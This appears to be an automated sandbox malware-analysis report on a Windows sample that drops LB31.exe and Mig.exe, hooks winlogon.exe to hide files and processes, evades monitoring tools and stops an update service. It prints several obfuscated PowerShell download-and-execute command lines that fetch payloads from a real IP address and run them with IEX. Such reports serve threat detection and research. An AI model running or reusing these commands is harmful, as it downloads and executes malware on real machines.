Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: 56ad364e35\System.Management.Automation.pdb\D source: powershell.exe, 00000007.00000002.2296695462.000001CF7B041000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb-4437-8B11-F424491E3931}\InprocServer32%%(N%%ew-O%%%bje%%%ctN%%%et.W%%%e';$c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%';$c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/3.png'')';$TC=($c1,$c4,$c3-Join'');$TC=$TC.replace source: powershell.exe, 00000007.00000002.2293866711.000001CF7AE00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 00000007.00000002.2296695462.000001CF7B041000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdbMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows source: powershell.exe, 00000007.00000002.2296695462.000001CF7B041000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.resourcesn.pdb source: powershell.exe, 00000007.00000002.2296695462.000001CF7B041000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb source: LB31.exe, Mig.exe
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb$ source: powershell.exe, 00000007.00000002.2293660004.000001CF7ADAE000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Roaming\LB31.exe	Unpacked PE file: 26.2.LB31.exe.7ff70a8a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ndryujmp:EW;tnyudguu:EW;.pdata:R; vs :ER;.rsrc:W;HV:W; :EW;ndryujmp:EW;tnyudguu:EW;.pdata:R;
Source: C:\ProgramData\Mig\Mig.exe	Unpacked PE file: 61.2.Mig.exe.7ff6ae1e0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ndryujmp:EW;tnyudguu:EW;.pdata:R; vs :ER;.rsrc:W;):W; :EW;ndryujmp:EW;tnyudguu:EW;.pdata:R;

.NET source code contains potential unpacker

Source: file.exe, -Module-.cs

.Net Code: _200F_206C_200C_200C_206B_206B_206B_206A_206D_202E_206B_200C_206B_206B_202C_200C_206C_206B_202E_200E_202D_206E_202E_200C_200E_206A_206D_200D_206F_202E_202B_202C_206E_200C_206B_200F_202A_206C_206D_202C_202E System.Reflection.Assembly.Load(byte[])

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/2.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/3.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/1.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/2.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/3.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/1.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X	Jump to behavior

Source: file.exe

Static PE information: 0xAA2EC588 [Wed Jun 23 04:52:24 2060 UTC]

Source: initial sample

Static PE information: section where entry point is pointing to: tnyudguu

Source: LB31.exe.15.dr	Static PE information: section name:
Source: LB31.exe.15.dr	Static PE information: section name: .idata
Source: LB31.exe.15.dr	Static PE information: section name:
Source: LB31.exe.15.dr	Static PE information: section name: ndryujmp
Source: LB31.exe.15.dr	Static PE information: section name: tnyudguu
Source: LB31.exe.15.dr	Static PE information: section name: .pdataI
Source: Mig.exe.26.dr	Static PE information: section name:
Source: Mig.exe.26.dr	Static PE information: section name: .idata
Source: Mig.exe.26.dr	Static PE information: section name:
Source: Mig.exe.26.dr	Static PE information: section name: ndryujmp
Source: Mig.exe.26.dr	Static PE information: section name: tnyudguu
Source: Mig.exe.26.dr	Static PE information: section name: .pdataI

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FFD340B00BD pushad ; iretd	0_2_00007FFD340B00C1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FFD340B00ED push A8BA495Dh; iretd	0_2_00007FFD340B011B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD340A00BD pushad ; iretd	5_2_00007FFD340A00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD340A0972 push E95A93D0h; ret	5_2_00007FFD340A09C9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FFD340A00BD pushad ; iretd	7_2_00007FFD340A00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FFD34174A1D pushad ; iretd	7_2_00007FFD34174AAC
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_00007FFD340C00BD pushad ; iretd	15_2_00007FFD340C00C1
Source: C:\Windows\System32\conhost.exe	Code function: 16_2_000001DCAFC2ACDD push rcx; retf 003Fh	16_2_000001DCAFC2ACDE
Source: C:\Windows\System32\conhost.exe	Code function: 16_2_000001DCB14FC6DD push rcx; retf 003Fh	16_2_000001DCB14FC6DE
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFD33FAD2A5 pushad ; iretd	17_2_00007FFD33FAD2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFD340C00BD pushad ; iretd	17_2_00007FFD340C00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFD34192316 push 8B485F91h; iretd	17_2_00007FFD3419231B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 19_2_000002246444ACDD push rcx; retf 003Fh	19_2_000002246444ACDE
Source: C:\Windows\System32\winlogon.exe	Code function: 54_2_000002D01659ACDD push rcx; retf 003Fh	54_2_000002D01659ACDE
Source: C:\Windows\System32\winlogon.exe	Code function: 54_2_000002D0165FC6DD push rcx; retf 003Fh	54_2_000002D0165FC6DE
Source: C:\Windows\System32\lsass.exe	Code function: 62_2_000002D6F14FACDD push rcx; retf 003Fh	62_2_000002D6F14FACDE
Source: C:\Windows\System32\lsass.exe	Code function: 62_2_000002D6F152C6DD push rcx; retf 003Fh	62_2_000002D6F152C6DE
Source: C:\Windows\System32\svchost.exe	Code function: 63_2_0000014E41FBACDD push rcx; retf 003Fh	63_2_0000014E41FBACDE
Source: C:\Windows\System32\svchost.exe	Code function: 63_2_0000014E41FEC6DD push rcx; retf 003Fh	63_2_0000014E41FEC6DE
Source: C:\Windows\System32\dwm.exe	Code function: 64_2_000001D15B02ACDD push rcx; retf 003Fh	64_2_000001D15B02ACDE
Source: C:\Windows\System32\dwm.exe	Code function: 64_2_000001D15B06C6DD push rcx; retf 003Fh	64_2_000001D15B06C6DE

Source: C:\Users\user\AppData\Roaming\LB31.exe	File created: C:\ProgramData\Mig\Mig.exe			Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\LB31.exe			Jump to dropped file

Source: C:\Users\user\AppData\Roaming\LB31.exe

File created: C:\ProgramData\Mig\Mig.exe

Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\AppData\Roaming\LB31.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Roaming\LB31.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Roaming\LB31.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Roaming\LB31.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Roaming\LB31.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Roaming\LB31.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Roaming\LB31.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Roaming\LB31.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\ProgramData\Mig\Mig.exe	Window searched: window name: FilemonClass
Source: C:\ProgramData\Mig\Mig.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\ProgramData\Mig\Mig.exe	Window searched: window name: RegmonClass
Source: C:\ProgramData\Mig\Mig.exe	Window searched: window name: FilemonClass
Source: C:\ProgramData\Mig\Mig.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\Roaming\LB31.exe

Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc

Hooking and other Techniques for Hiding and Protection

Hooks files or directories query functions (used to hide files and directories)

Source: winlogon.exe

IAT, EAT, inline or SSDT hook detected: function: NtQueryDirectoryFile

Hooks processes query functions (used to hide processes)

Source: winlogon.exe

IAT, EAT, inline or SSDT hook detected: function: NtQuerySystemInformation

Hooks registry keys query functions (used to hide registry keys)

Source: winlogon.exe

IAT, EAT, inline or SSDT hook detected: function: ZwEnumerateValueKey

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Modifies the prolog of user mode functions (user mode inline hooks)

Source: winlogon.exe

User mode code has changed: module: ntdll.dll function: ZwEnumerateKey new code: 0xE9 0x9C 0xC3 0x32 0x2C 0xCF

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
